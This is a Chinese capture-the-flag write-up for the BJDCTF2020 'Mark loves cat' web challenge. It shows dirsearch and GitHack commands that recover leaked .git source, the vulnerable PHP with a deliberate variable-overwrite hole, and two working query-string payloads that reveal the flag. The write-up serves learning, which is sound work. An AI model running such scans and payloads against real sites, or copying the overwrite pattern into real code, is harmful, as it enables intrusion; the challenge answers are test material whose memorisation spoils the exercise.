[BJDCTF2020]Mark loves cat

先用dirsearch扫一下,访问一下没有什么

需要设置线程

复制代码
dirsearch -u http://8996e81f-a75c-4180-b0ad-226d97ba61b2.node4.buuoj.cn:81/ --timeout=2 -t 1 -x 400,403,404,500,503,429

使用githack

复制代码
python2 GitHack.py http://8996e81f-a75c-4180-b0ad-226d97ba61b2.node4.buuoj.cn/.git

https://www.cnblogs.com/keta/p/6117237.html foreach的语法

foreach用于遍历操作或输出数组

复制代码
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}    //传入的post值会经过这,例:传入flag=flag,得到$x=flag,$y=flag,则$flag=flag;将会得不到flag的值

foreach($_GET as $x => $y){
    $$x = $$y;
} //#传入的get值会经过这。例:传入is=flag,得到$is=$flag

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }   //#get传入flag变量且值不为flag,输出handsome,退出
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}  //#get和post传参不能有flag
 
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);   //#用post或get传的参数必须是flag且值为flag
}

echo "the flag is: ".$flag;

因为很少做变量覆盖,都是参考别人的

第一种方法:

复制代码
#传入的get值会经过这。例:传入is=flag,得到$is=$flag.
foreach($_GET as $x => $y){
    $$x = $$y;
}
#用post或get传的参数必须是flag且值为flag
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

首先传入is=flag,得到x=is,y=flag. 带进去变成is=flag;

if要求用post或get传入flag=flag,就会打印is。而且经过foreach函数时得到flag=$flag。没有改变内容。

即最终payload:/?is=flag&flag=flag

第二种方法:

复制代码
#传入的get值会经过这。例:传入is=flag,得到$is=$flag.
foreach($_GET as $x => $y){
    $$x = $$y;
}
#get和post传参不能有flag
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

最终输出$yds,和第一种一样,先构造yds=flag,

if要求get和post不能有flag函数。直接忽略

即payload:/?yds=flag

相关推荐
暴富奥利奥33 分钟前
完成docker方式的ros环境配置
linux·学习·docker·容器
总有刁民想爱朕ha1 小时前
AI大模型学习(17)python-flask AI大模型和图片处理工具的从一张图到多平台适配的简单方法
人工智能·python·学习·电商图片处理
Larry_Yanan2 小时前
QML学习笔记(三十一)QML的Flow定位器
java·前端·javascript·笔记·qt·学习·ui
与己斗其乐无穷2 小时前
C++学习记录(17)红黑树简单实现map和set
学习
杰瑞学AI2 小时前
我的全栈学习之旅:FastAPI (持续更新!!!)
后端·python·websocket·学习·http·restful·fastapi
The_Killer.2 小时前
近世代数(抽象代数)详细笔记--环(也有域的相关内容)
笔记·学习·抽象代数·
Larry_Yanan3 小时前
QML学习笔记(三十)QML的布局器(Layouts)
c++·笔记·qt·学习·ui
_李小白5 小时前
【OPENGL ES 3.0 学习笔记】第一天:认识渲染管道
笔记·学习
future14125 小时前
单片机学习日记
单片机·嵌入式硬件·学习
半路程序员5 小时前
Go语言学习(三)
学习